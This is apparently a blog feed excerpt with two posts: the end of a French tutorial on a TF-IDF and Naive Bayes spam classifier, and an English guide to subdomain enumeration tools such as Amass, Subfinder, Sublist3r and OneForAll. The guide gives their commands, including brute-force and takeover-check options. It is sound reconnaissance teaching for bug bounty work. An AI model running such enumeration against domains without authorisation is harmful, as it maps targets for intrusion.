<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739146370465/fa8cb900-b426-4648-bf09-914247e7b8fa.png" alt class="image--center mx-auto" /></p>
<p>On peut voir que la lemmatization a fonctionné:</p>
<ul>
<li><p>“étudiants“ devient “étudiant“</p>
</li>
<li><p>“doivent“ devient “devoir“</p>
</li>
<li><p>“n’aiment“ devient “ne aimer“ et “l’étudier“ devient “le étudier“</p>
<ul>
<li><p>spaCy sépare le “n“ en “ne“</p>
</li>
<li><p>il sépare aussi “l“ et “étudier“</p>
</li>
<li><p>“l’ “ et “n’ “ sont ensuite lemmatisés à leur forme originale “le“ et “ne“</p>
</li>
</ul>
</li>
<li><p>“les“ est aussi lemmatisé en “le“, ce qui est normal en francais</p>
</li>
</ul>
<h3 id="heading-vectorisation"><strong>Vectorisation</strong></h3>
<p>La vectorisation est la prochaine étape. Elle consiste à transformer les mots ou les phrases obtenues des étapes précédentes en une représentation numérique qui sera comprise par les modèles d’IA, car ceux-ci ne peuvent pas directement comprendre du texte brut.</p>
<p>Il existe plusieurs méthodes de vectorisation de texte:</p>
<ul>
<li><p><strong>Bag of Words (BoW)</strong> : elle consiste à compter le nombre d’occurence d’un mot dans le texte au complet. Chaque mot est donc associé à une valeur numérique qui représente le nombre de fois où il apparaît dans le texte. Chaque phrase devient un vecteur basé sur la fréquence de ces mots.</p>
<p>  Prenons l’exemple des deux phrases suivantes: “Je mange du pain“ et “Le pain du boulanger“. Un vocabulaire est d’abord crée pour tous les mots dans les deux phrases.</p>
<p>  <strong>Vocabulaire</strong> : [“Je“, “mange“, “du“, “pain“, “Le“, “boulanger“]</p>
<p>  <strong>Vecteur 1</strong> : [1, 1, 1, 1, 0, 0]</p>
<p>  <strong>Vecteur 2</strong> : [0, 0, 1, 1, 1, 1]</p>
</li>
<li><p><strong>TF-IDF (Term Frequency - Inverse Document Frequency)</strong>: elle consiste à déterminer l’importance d’un mot dans un document en fonction de sa fréquence dans le texte et de sa rareté dans l’ensemble du corpus . Elle combine deux mesures:</p>
<ul>
<li><p><strong>Term Frequency (TF)</strong> est la fréquence d’un mot dans un texte. Donc plus un mot est comptabilisé dans un texte, plus sa valeur TF est élevée.</p>
</li>
<li><p><strong>Inverse Document Frequency (IDF)</strong> évalue l’importance d’un mot dans le corpus en tenant compte de sa rareté dans celui ci. Donc, moins un mot apparaît, plus sa valeur IDF est élevée.</p>
</li>
</ul>
</li>
</ul>
<p>Dans le cas de notre exercice pour le modèle qui détecte les spams, il est donc plus efficace d’utiliser <strong>TF-IDF</strong>.</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> sklearn.feature_extraction.text <span class="hljs-keyword">import</span> TfidfVectorizer <span class="hljs-comment">#Importer la bibliothèque</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">vectorize_email</span>(<span class="hljs-params">text</span>):</span>
    <span class="hljs-comment"># Récupérer les tokens après lemmatisation</span>
    lemmatized_tokens_list = lemmatize_email(text)

    <span class="hljs-comment"># Transformer la liste de tokens en phrases séparées</span>
    emails = [<span class="hljs-string">" "</span>.join(email) <span class="hljs-keyword">for</span> email <span class="hljs-keyword">in</span> lemmatized_tokens_list]

    print(<span class="hljs-string">"Texte à vectoriser :"</span>, emails)

    <span class="hljs-comment"># Initialiser le vectorizer TF-IDF</span>
    vectorizer = TfidfVectorizer()
    <span class="hljs-comment">#vectorizer = TfidfVectorizer(stop_words='english')</span>


    <span class="hljs-comment">#On applique la vectorization ici sur la liste de phrases</span>
    tf_idf = vectorizer.fit_transform(emails)

    <span class="hljs-comment">#On affiche les termes retenus par TF-IDF</span>
    <span class="hljs-comment">#Ces termes correspondent au tableau plus bas.</span>
    print(<span class="hljs-string">"Mots clés : "</span>, vectorizer.get_feature_names_out())

    <span class="hljs-comment">#On convertit la matrice en tableau plus lisible</span>
    <span class="hljs-comment">#Chaque ligne du tableau représente un document et chaque colonne représente un mot parmi ceux à vectorizer</span>
    print(<span class="hljs-string">"Matrice TF-IDF : \n"</span>, tf_idf.toarray())

    <span class="hljs-comment">#Ici on vérifie les mots qui auraient été supprimés lors du processus de vectorisation TF-IDF</span>
    tokens_set = set(word <span class="hljs-keyword">for</span> email <span class="hljs-keyword">in</span> lemmatized_tokens_list <span class="hljs-keyword">for</span> word <span class="hljs-keyword">in</span> email)  <span class="hljs-comment"># Mots initiaux</span>
    tf_idf_set = set(vectorizer.get_feature_names_out())
    mots_supprimes = tokens_set - tf_idf_set
    print(<span class="hljs-string">"Mots supprimés :"</span>, mots_supprimes)

    <span class="hljs-keyword">return</span> tf_idf


<span class="hljs-comment"># Exemple d'utilisation</span>
text = [ <span class="hljs-string">"Les étudiants n'aiment pas l'examen, mais ils doivent l'étudier. "</span>,
 <span class="hljs-string">"L'examen final est prévu pour lundi matin."</span>]
vectorize_email(text)
</code></pre>
<p>On obtient le résultat suivant:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739922246350/a9ba37f1-d6cd-4055-ab29-c323d2b125ab.png" alt class="image--center mx-auto" /></p>
<p>On voit que le TF-IDF a extrait les mots du document à vectorizer et chaque mot apparaît juste une fois dans la liste des mots clés. Chaque ligne de la matrice correspond à une phrase (matrice [] ). Le vecteur TF-IDF contient une matrice par texte; ce qui sera pratique dans notre cas car on voudrait séparer et vectoriser chaque email.</p>
<h1 id="heading-entrainement-et-evaluation-du-modele"><strong>Entraînement et évaluation du modèle</strong></h1>
<p>Après que les e-mails aient été transformés en vecteurs numériques, ils sont préparés à être analysés par le modèle. Les vecteurs TF-IDF obtenus précédemment servent maintenant à apprendre au modèle à distinguer spam et non-spam. Il faut maintenant choisir un modèle adapté à notre exercice. Pour cela on peut utiliser un des modèles suivants:</p>
<ul>
<li><p><strong>Naive Bayes</strong>: c’est un algorithme de classification de texte. Il utilise des probabilités pour classer les textes, en supposant que les mots sont indépendants.</p>
</li>
<li><p><strong>Logistic Regression:</strong> c’est une méthode de classification binaire qui prédit la probabilité qu’une instance appartienne à une classe donnée.</p>
</li>
</ul>
<p>Avec les scores TF-IDF obtenus, on pourra entraîner le modèle choisi.</p>
<p>Ici, nous utiliserons <strong>Naive Bayes</strong>, car il est plus efficace pour les situations de classification de texte courts et aussi avec une petite base de données.</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> sklearn.naive_bayes <span class="hljs-keyword">import</span> MultinomialNB  <span class="hljs-comment"># Import modèle Naïve Bayes</span>
<span class="hljs-keyword">from</span> sklearn.model_selection <span class="hljs-keyword">import</span> train_test_split  <span class="hljs-comment"># Pour diviser les données en train/test</span>
<span class="hljs-keyword">from</span> sklearn.metrics <span class="hljs-keyword">import</span> accuracy_score, precision_score, recall_score, f1_score <span class="hljs-comment">#Importer les fontios d'évaluation</span>
<span class="hljs-keyword">import</span> numpy <span class="hljs-keyword">as</span> np

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">eval_model</span>(<span class="hljs-params">X,y</span>):</span>

    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=<span class="hljs-number">0.3</span>, random_state=<span class="hljs-number">42</span>)

    <span class="hljs-comment"># Initialiser le classificateur Naive Bayes</span>
    model = MultinomialNB()

    <span class="hljs-comment"># Entraîner le modèle</span>
    model.fit(X_train, y_train)

    <span class="hljs-comment"># Prédire sur l'ensemble de test</span>
    y_pred = model.predict(X_test)

    <span class="hljs-comment"># Évaluer le modèle</span>
    accuracy = accuracy_score(y_test, y_pred)
    precision = precision_score(y_test, y_pred, pos_label=<span class="hljs-number">1</span>)
    recall = recall_score(y_test, y_pred, pos_label=<span class="hljs-number">1</span>)
    f1 = f1_score(y_test, y_pred, pos_label=<span class="hljs-number">1</span>)

    print(<span class="hljs-string">f"Accuracy: <span class="hljs-subst">{accuracy:<span class="hljs-number">.2</span>f}</span>"</span>)
    print(<span class="hljs-string">f"Precision: <span class="hljs-subst">{precision:<span class="hljs-number">.2</span>f}</span>"</span>)
    print(<span class="hljs-string">f"Recall: <span class="hljs-subst">{recall:<span class="hljs-number">.2</span>f}</span>"</span>)
    print(<span class="hljs-string">f"F1 Score: <span class="hljs-subst">{f1:<span class="hljs-number">.2</span>f}</span>"</span>)

    <span class="hljs-keyword">return</span> model


email_texts = [
    <span class="hljs-string">"Bonjour, veuillez confirmer votre compte en cliquant ici."</span>,  <span class="hljs-comment"># Non-spam</span>
    <span class="hljs-string">"Gagnez 10 000 $ maintenant ! Cliquez ici pour en profiter."</span>,  <span class="hljs-comment"># Spam</span>
    <span class="hljs-string">"Votre rendez-vous est confirmé pour demain."</span>,  <span class="hljs-comment"># Non-spam</span>
    <span class="hljs-string">"Achetez maintenant, offre exclusive à durée limitée !"</span>,  <span class="hljs-comment"># Spam</span>
    <span class="hljs-string">"Votre facture est disponible, veuillez vérifier."</span>,  <span class="hljs-comment"># Non-spam</span>
    <span class="hljs-string">"Offre spéciale ! Achetez deux et obtenez-en un gratuit."</span>,  <span class="hljs-comment"># Spam</span>
    <span class="hljs-string">"Votre mot de passe a été modifié avec succès."</span>,  <span class="hljs-comment"># Non-spam</span>
    <span class="hljs-string">"Cliquez ici pour obtenir une remise immédiate !"</span>,  <span class="hljs-comment"># Spam</span>
    <span class="hljs-string">"La réunion est prévue pour jeudi prochain."</span>,  <span class="hljs-comment"># Non-spam</span>
    <span class="hljs-string">"Investissez maintenant et doublez vos gains !"</span>  <span class="hljs-comment"># Spam</span>
]

<span class="hljs-comment"># Étiquettes associées : 0 pour non-spam, 1 pour spam</span>
y = [<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>]

<span class="hljs-comment">#Vecteurs TF-IDF des e-mails.</span>
X = vectorize_email(email_texts)

<span class="hljs-comment"># Appel de la fonction pour évaluer le modèle</span>
model = eval_model(X, y)
</code></pre>
<h3 id="heading-explication-du-code"><strong>Explication du</strong> <strong>code</strong></h3>
<p>Ce code permettra d’entraîner le modèle Naive Bayes pour classifier les courriels en spam et non-spam, et ainsi évaluer ses performances. On utilise les données afin d’entraîner le modèle choisi. Vu qu’on souhaite détecter les courriels qui sont des spam de ceux qui ne le sont pas, il faut donc lui apprendre les caractéristiques des emails classés comme spam ou non.</p>
<ul>
<li><p><code>X</code> contient les vecteurs TF-IDF des courriels, qui est obtenu après la vectorisation. Le texte est transformé en valeurs numériques à l’aide de TF-IDF pour que le modèle puisse l’analyser.</p>
</li>
<li><p><code>y</code> est la liste des étiquettes (labels) associées aux e-mails</p>
</li>
<li><p><code>X_train</code> représente les emails transformés en vecteurs avec la technique de vectorisation TF-IDF</p>
</li>
<li><p><code>y_train</code> représente les étiquettes, 1 pour spam et 0 pour non-spam, pour chaque instance de <code>X_train</code></p>
</li>
<li><p><code>test_size=0.3</code> signifie que 30% des données seront utilisés pour le test et le 70% restant pour l’entraînement</p>
</li>
<li><p>la fonction <code>model.predict</code> sert à prédire les étiquettes des courriels dans la variable X_test</p>
</li>
<li><p><code>y_pred</code> est la liste des prédictions effectuées par le modèle.</p>
</li>
</ul>
<p>Voici un détail des fonctions d’évaluation:</p>
<ul>
<li><p><code>accuracy_score</code> permet de calculer la précision globale du modèle ( le nombre d'exemples correctement classifiés sur le nombre total d’exemples)</p>
</li>
<li><p><code>precision_score</code> permet de mesurer la précision pour la classe positive c’est-à-dire parmi les emails prédits comme spams, ceux qui l’étaient réellement. C’est le rapport entre les vrais positifs et la somme des vrais positifs (TP True Positives) et des faux positifs (FP False Positives) TP + FP.</p>
</li>
<li><p><code>recall_score</code> mesure le pourcentage de positifs prédits par le modèle. Il indique parmi tout les courriels qui sont réellement du spam, combien ont été correctement détectés.</p>
</li>
<li><p><code>f1_score</code> calcule la moyenne harmonique entre la précision (precision) et le rappel (recall). C’est une métrique qui permet de donner une évaluation sur la performance du modèle. Un F1 score de 1 indique une parfaite précision et rappel, alors qu'un score de 0 indique que le modèle a échoué à prédire les résultats attendus.</p>
</li>
</ul>
<p>On obtient le résultat suivant:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742410049503/f2badc1d-5c96-49e9-942b-f4619dbfbbcd.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p><code>Accuracy: 0.67</code> signifie que 67 % des e-mails ont été correctement classés comme spam ou non-spam. Donc, sur 10 e-mails, 6-7 sont correctement classés.</p>
</li>
<li><p><code>Precison: 1.00</code> signifie que 100 % des e-mails marqués comme spam sont vraiment des spams.</p>
</li>
<li><p><code>Recall: 0.50</code> signifie que le modèle n'a détecté que 50 % des vrais spams. Donc la moitié des spams ont été oubliés (faux négatifs).</p>
</li>
<li><p><code>F1 Score 0.67</code> est le score globlal. Donc on peut dire que le modèle a une performance acceptable.</p>
</li>
</ul>
<h1 id="heading-test">Test</h1>
<p>Pour l’étape de test, on récupère les données de SpamAssassin. Les fichiers d’emails récupérés puis sont étiquetés sous forme de dossiers:</p>
<ul>
<li><p><code>spam</code> : emails indésirables</p>
</li>
<li><p><code>ham</code> : emails non spam</p>
</li>
</ul>
<p>On télécharge les emails sur le site officiel de <a target="_blank" href="https://spamassassin.apache.org/old/publiccorpus/">SpamAssassin</a> , et ensuite les décompresser avec des outils comme 7zip.</p>
<p>Il faut maintenant tester le modèle. On veut donc lui donner des e-mails et voir comment il réagit.</p>
<p><strong>Exemple de spams</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742412083284/6a580203-76a7-4419-866f-a94ba788e89f.png" alt class="image--center mx-auto" /></p>
<p><strong>Exemple de ham</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742412143276/ed0d174b-7d40-41a5-b7b1-0d573eb93112.png" alt class="image--center mx-auto" /></p>
<p>On obtient le résultat suivant:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742412201300/e67acae7-c83c-4385-9f2d-ce8be85108ab.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p><code>Accuracy: 0.67</code> : 67% des emails sont bien classifiés.</p>
</li>
<li><p><code>Precision: 0.60</code> : 60% des emails prédits comme spam sont réellement des spams.</p>
</li>
<li><p><code>Recall: 1.00</code> : Le modèle détecte tous les spams correctement (aucun spam manqué).</p>
</li>
<li><p><code>F1 Score: 0.75</code></p>
</li>
</ul>
<h1 id="heading-conclusion">Conclusion</h1>
<p>Dans ce projet, nous avons utilisé un modèle Naive Bayes pour classifier les e-mails en spam et non-spam. Après avoir vectorisé les e-mails avec la technique TF-IDF, le modèle a été entraîné sur des données annotées pour apprendre à reconnaître les spams. Grâce à l’apprentissage automatique, le modèle peut ensuite prédire automatiquement si de nouveaux e-mails sont des spams. N’hésitez pas à partager vos avis :)</p>
<h1 id="heading-source">Source</h1>
<ul>
<li><p><a target="_blank" href="https://www.databricks.com/fr/glossary/what-is-dataset#:~:text=Les%20datasets%20publics%20regroupent%20des,gratuits%20et%20faciles%20%C3%A0%20t%C3%A9l%C3%A9charger.">Qu'est-ce qu</a><a target="_blank" href="http://model.fit/">'un datas</a><a target="_blank" href="https://www.databricks.com/fr/glossary/what-is-dataset#:~:text=Les%20datasets%20publics%20regroupent%20des,gratuits%20et%20faciles%20%C3%A0%20t%C3%A9l%C3%A9charger.">et ? | Databricks</a></p>
</li>
<li><p><a target="_blank" href="https://developer.ibm.com/tutorials/awb-classifying-data-multinomial-naive-bayes-algorithm/">Classifying data using the Multinomial Naive Bayes algorithm - IBM Developer</a></p>
</li>
<li><p><a target="_blank" href="https://inside-machinelearning.com/recall-precision-f1-score/#Recall">Rec</a><a target="_blank" href="http://model.fit/">all, Prec</a><a target="_blank" href="https://inside-machinelearning.com/recall-precision-f1-score/#Recall">ision, F1 Score - Explication Simple Métrique en ML</a></p>
</li>
<li><p><a target="_blank" href="https://pythonspot.com/nltk-stop-words/">NLTK stop words - Python Tutorial</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Subdomain Enumeration]]></title><description><![CDATA[Subdomain research allows the identification of subdomains linked to a main domain that could be vulnerable, thus serving as entry points for misconfigured services. Discovering subdomains helps gather information about the technologies and configura...]]></description><link>https://blog.fikara.io/subdomain-enumeration</link><guid isPermaLink="true">https://blog.fikara.io/subdomain-enumeration</guid><category><![CDATA[subdomain discovery]]></category><category><![CDATA[assetfinder]]></category><category><![CDATA[amass]]></category><category><![CDATA[Sublist3r ]]></category><category><![CDATA[subdomains]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[bugbountytips]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[CyberSec]]></category><category><![CDATA[subdomain enumeration]]></category><category><![CDATA[subfinder]]></category><category><![CDATA[Hashnode]]></category><category><![CDATA[2Articles1Week]]></category><dc:creator><![CDATA[FIKARA BILAL]]></dc:creator><pubDate>Tue, 17 Dec 2024 15:00:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1734137232240/0be7c83f-1014-4a78-a689-94198a44fe81.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Subdomain research allows the identification of subdomains linked to a main domain that could be vulnerable, thus serving as entry points for misconfigured services. Discovering subdomains helps gather information about the technologies and configurations used.</p>
<h2 id="heading-crtsh">Crt.sh</h2>
<p><a target="_blank" href="http://Crt.sh"><strong>Crt.sh</strong></a> is an online tool that allows you to search for and view SSL/TLS certificates for various domains. It can also be used to find subdomains. By searching for a main domain, you can see the certificates associated, but also those issued for its subdomains.</p>
<h2 id="heading-virus-total">Virus Total</h2>
<p><a target="_blank" href="https://www.virustotal.com/gui/">VirusTotal</a> is an online search tool that allows you to analyze files and URLs to detect potential viruses. It performs a complete scan by using multiple antivirus engines et URLs detection tools. It can also be used to search for subdomains et other information.</p>
<p>The subdomains associated to the search will be listed in the Relations tab. The image below shows a list of subdomains associated with Amazon.ca</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730480512189/389d5154-f775-4c5b-bbdc-36b533f0b940.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-amass">Amass</h2>
<p>Amass is a tool developped by OWASP (Open Web Application Security Project) that is used for identifying subdomains and IP addresses associated by using public sources such as APIs, SSL certificates, DNS, etc.</p>
<p>The official documentation can be found on <a target="_blank" href="https://github.com/owasp-amass/amass"><strong>GitHub</strong></a><strong>.</strong></p>
<p>To install Amass, use the following command:</p>
<pre><code class="lang-plaintext">go install -v github.com/owasp-amass/amass/v4/...@master
</code></pre>
<h3 id="heading-options">Options</h3>
<ul>
<li><p><code>amass enum</code> : this mode is used to enumerate subdomains by using public sources and active reconnaissance technique</p>
</li>
<li><p><code>amass intel</code> : this mode is used to discover domains and others assets that can be explored in more details during the enumeration process.</p>
</li>
<li><p><code>amass enum -d website.com -active -brute -aw /PATH -bl “word“</code></p>
<ul>
<li><p>the <code>-d</code> option specified the domain fow which we want to enumerate subdomains</p>
</li>
<li><p>the <code>-active</code> option allows to discover active subdomains</p>
</li>
<li><p>the <code>-aw</code> option allows you to specify a wordlist file that will be used for altering the names of subdomains. This enables dynamic modification of subdomains by adding terms to the subdomain names that are not visible in standard DNS results.</p>
</li>
<li><p>the <code>-bl</code> option allows you to specify domains to exclude from the search</p>
</li>
</ul>
</li>
</ul>
<p>The image below shows the Amass command used, which discovered several pieces of information, including MX, A, AAAA records, and several other subdomains. It also includes ASN information from CloudFlare, which likely manages the IP addresses of these subdomains.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731637967194/67052a86-6ebd-4ee1-a971-5c194d1e4753.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-chaos-projectdiscovery">Chaos projectdiscovery</h2>
<p><a target="_blank" href="https://chaos.projectdiscovery.io/">Chaos</a> is a project by ProjectDiscovery that provides information on subdomains. It has a database with a large number of subdomains for public domains, which is regularly updated.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730732080367/c021ae5b-7ed5-4b7e-9faf-541409009056.png" alt class="image--center mx-auto" /></p>
<p>Simply download the .zip file to obtain a list of subdomains associated with the term or domain in the search.</p>
<p>Chaos ProjectDiscovery is an open-source project and can also be used via GitHub. Using this tool with the command-line API is much more flexible and powerful in terms of searches. By using the command-line tool, you get a more comprehensive list, unlike the web version, which may not return any results for certain domains.</p>
<p>To install it, use the following command:</p>
<pre><code class="lang-plaintext">go install -v github.com/projectdiscovery/chaos-client/cmd/chaos@latest
</code></pre>
<h3 id="heading-options-1">Options</h3>
<ul>
<li><p><code>chaos -h</code>: This option lists all the available options for Chaos ProjectDiscovery.</p>
</li>
<li><p><code>export PDCP_API_KEY=[API_KEY]</code>:</p>
<ul>
<li><p>this option allows you to specify the API key, which can be obtained simply by signing up on the website</p>
</li>
<li><p>the API key must be specified for using the command-line tool.</p>
</li>
</ul>
</li>
<li><p><code>chaos -d [site.com] -count -o list.txt</code></p>
<ul>
<li><p>the <code>-d</code> option specifies the domain to analyze.</p>
</li>
<li><p>the <code>-count</code> option displays the number of subdomains without listing them.</p>
</li>
<li><p>the <code>-o</code> option specifies a file (in this case, list.txt) to store the output.</p>
</li>
</ul>
</li>
<li><p><code>chaos -dL [list_domains.txt] -json | grep [STRING] &gt; list.txt</code></p>
<ul>
<li><p>the <code>-dL</code> option specifies a file containing a list of domains to analyze.</p>
</li>
<li><p>the <code>-json</code> option displays the output in JSON format.</p>
</li>
<li><p>the <code>grep</code> option filters the search results according to the defined string and saves them in the file list.txt.</p>
</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730734621204/84dc8d3e-161e-4467-a504-ea6e0b66b14b.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-subfinder">Subfinder</h2>
<p>Subfinder is a subdomain enumeration tool written in the Go programming language, developed by ProjectDiscovery. It is used to perform passive enumeration of subdomains for a target domain, meaning it uses public online sources to identify subdomains without directly interacting with the target servers. It utilizes sources such as Censys, Chaos, <a target="_blank" href="http://Recon.dev">Recon.dev</a>, Shodan, Spyse, Virustotal, and others.</p>
<p>The official documentation can be found on <a target="_blank" href="https://github.com/projectdiscovery/subfinder">GitHub</a>.</p>
<p>To install Subfinder, use the following command:</p>
<pre><code class="lang-plaintext">go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
</code></pre>
<h3 id="heading-options-2">Options</h3>
<ul>
<li><p><code>subfinder -h</code>: the <code>-h</code> option lists all the options available for Subfinder.</p>
</li>
<li><p><code>subfinder -ls</code>: the <code>-ls</code> option lists all possible data sources.</p>
</li>
<li><p><code>subfinder -d [site.com] -all -json -cs -o [list.txt]</code>:</p>
<ul>
<li><p>the <code>-d</code> option specifies the domain to analyze.</p>
</li>
<li><p>the <code>-all</code> option uses all sources for enumeration.</p>
</li>
<li><p>the <code>-json</code> option displays the output in JSON format.</p>
</li>
<li><p>the <code>-cs</code> option shows the source in the command result.</p>
</li>
<li><p>the <code>-o</code> option saves the results to a file.</p>
</li>
</ul>
</li>
</ul>
<p>Here, the domain hackerone.com is analyzed, displaying the sources of each subdomain with the <code>-cs</code> option, and excluding sources from the Google server 8.8.8.8 with the <code>-es</code> option.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730743484088/7cbc99d4-ff88-444c-81e0-26a35f294ebf.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p><code>subfinder -dL [list_domains.txt] -s/-es [SOURCES] -rl [INT]</code></p>
<ul>
<li><p>the <code>-dL</code> option specifies a file containing a list of domains to analyze.</p>
</li>
<li><p>the <code>-s</code> option specifies the sources to use during the search.</p>
</li>
<li><p>the <code>-es</code> option excludes sources during the search.</p>
</li>
<li><p>the <code>-rl</code> option determines the number of HTTPS requests per second, which limits and prevents overload.</p>
</li>
</ul>
</li>
<li><p><code>subfinder -d hackerone.com --active -oI</code></p>
<ul>
<li><p>the <code>--active</code> or <code>-nW</code> option checks subdomains in real-time. It verifies if the subdomains are active and responsive; otherwise, they are not listed.</p>
</li>
<li><p>the <code>-oI</code> or <code>-ip</code> option includes the IP addresses of the subdomains in the result. This option is only used in combination with the <code>--active</code> or <code>-nW</code> option.</p>
</li>
</ul>
</li>
</ul>
<p>    <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730746300133/9a589fef-a0de-48d6-a6ba-6811d5ab9b89.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-assetfinder">Assetfinder</h2>
<p>Assetfinder is also a tool developed in the Go programming language, used to enumerate subdomains associated with a primary domain. It uses sources such as Certspotter, Hackertarget, Facebook, Virustotal, etc.</p>
<p>The official documentation can be found on <a target="_blank" href="https://github.com/tomnomnom/assetfinder">GitHub</a>.</p>
<p>To install Assetfinder, use the following command:</p>
<pre><code class="lang-plaintext">go install github.com/tomnomnom/assetfinder
</code></pre>
<h3 id="heading-options-3">Options</h3>
<ul>
<li><p><code>assetfinder -h</code>: the <code>-h</code> option lists all the options available for Assetfinder.</p>
</li>
<li><p><code>assetfinder -subs-only [SITE.COM] &gt; list.txt</code>:</p>
<ul>
<li>the <code>-subs-only</code> option limits the output to subdomains of the target domain. This is the only option available for Assetfinder.</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730748576730/b64bfe0d-7523-47d7-97ed-7fbf40eed732.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-sublist3r"><strong>Sublist3r</strong></h2>
<p>Sublist3r is a subdomain enumeration tool that uses search engines and other online sources. It integrates the tool Subbrute, a brute force tool for subdomain enumeration, to enhance the ability to find more subdomains. Subbrute uses an improved wordlist to systematically test potential subdomains.</p>
<p>The official documentation can be found on <a target="_blank" href="https://github.com/aboul3la/Sublist3r">GitHub</a>.</p>
<p>To install Sublist3r, use the following command:</p>
<pre><code class="lang-plaintext">git clone https://github.com/aboul3la/Sublist3r.git
cd Sublist3r
pip install -r requirements.txt
</code></pre>
<h3 id="heading-options-4">Options</h3>
<ul>
<li><p><code>python sublist3r.py -h</code>: the <code>-h</code> option lists all the options available for Sublist3r.</p>
</li>
<li><p><code>python sublist3r.py -b -d [site.com] -p 80,21 -o result.txt</code>:</p>
<ul>
<li><p>the <code>-d</code> option specifies the target domain.</p>
</li>
<li><p>the <code>-b</code> option enables brute force mode, which helps discover subdomains.</p>
</li>
<li><p>the <code>-p</code> option specifies the ports to test to check if a subdomain is active on these ports.</p>
</li>
<li><p>the <code>-o</code> option saves the results to a file</p>
</li>
</ul>
</li>
<li><p><code>python sublist3r.py -e google,virustotal -v -d [site.com]</code>:</p>
<ul>
<li><p>the <code>-e</code> option allows you to specify the search engine to use.</p>
</li>
<li><p>the <code>-v</code> option enables verbose mode, which displays more details during script execution and shows subdomains in real-time.</p>
</li>
</ul>
</li>
</ul>
<p>The command executed below enumerates the subdomains of google.com and enables verbose mode, allowing subdomains to be displayed in real-time.</p>
<p>The command searches for subdomains from multiple sources, including Baidu, Yahoo, Google, Bing, SSL Certificates, etc.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731947680161/b9251afd-4e84-4196-bdd1-99ab4f68058b.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731947705826/e38a8163-0c8e-48a8-b14e-10d69196c913.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-oneforall">OneForAll</h2>
<p>OneForAll is a subdomain enumeration tool used to list the subdomains of a primary domain. This tool uses several techniques such as DNS resolution, brute-forcing subdomains, and also collects data from public sources that other tools do not typically query. OneForAll addresses the power or efficiency issues that can be seen with other tools.</p>
<p>The official documentation can be found on <a target="_blank" href="https://github.com/shmilylty/OneForAll">GitHub</a>.</p>
<p>To install OneForAll, use the following commands:</p>
<p>First, check the versions of Python and pip3. The Python3 version must be greater than 3.6.0, and the pip3 version must be greater than 19.2.2.</p>
<pre><code class="lang-plaintext">python -V
pip3 -V
</code></pre>
<p>Clone the project repository</p>
<pre><code class="lang-plaintext">git clone https://github.com/shmilylty/OneForAll.git
</code></pre>
<p>Create a virtual environment to separate the installation from your Python environment.</p>
<pre><code class="lang-plaintext">virtualenv -p python3 .venv
source .venv/bin/activate
</code></pre>
<p>Install the dependencies.</p>
<pre><code class="lang-plaintext">cd OneForAll
python3 -m pip install -U pip setuptools wheel
pip3 install -r requirements.txt
</code></pre>
<h3 id="heading-options-5">Options</h3>
<ul>
<li><p><code>python3 oneforall.py -h</code>: This option lists all the options available for OneForAll.</p>
</li>
<li><p><code>python oneforall.py --target [site.com] --brute FALSE --dns FALSE --valid TRUE run</code>:</p>
<ul>
<li><p>the<code>--target</code> option specifies the URL or domain to analyze.</p>
</li>
<li><p>the <code>--brute</code> option enables/disables the brute force module for searching subdomains. By default, this option is enabled.</p>
</li>
<li><p>the <code>--dns</code> option enables/disables DNS resolution during subdomain analysis. This option is also enabled by default.</p>
</li>
<li><p>the <code>--valid</code> option specifies that only active and valid subdomains will be considered. The tool will query each subdomain to verify their validity.</p>
</li>
</ul>
</li>
<li><p><code>python oneforall.py --targets list_urls.txt --takeover TRUE --path /PATH/TO/FILE run</code>:</p>
<ul>
<li><p>the <code>--targets</code> option specifies a list of domains contained in a file.</p>
</li>
<li><p>the <code>--takeover</code> option checks if a found subdomain is vulnerable to subdomain takeover. This option is crucial for identifying misconfigured subdomains and is disabled by default.</p>
</li>
<li><p>the <code>--path</code> option specifies the file path where the subdomain collection results will be stored. If a file is not specified, OneForAll will automatically generate a results file.</p>
</li>
<li><p>As shown in the image below, the tool automatically generates a .csv file listing the results in the <code>/results</code> folder.</p>
</li>
</ul>
</li>
</ul>
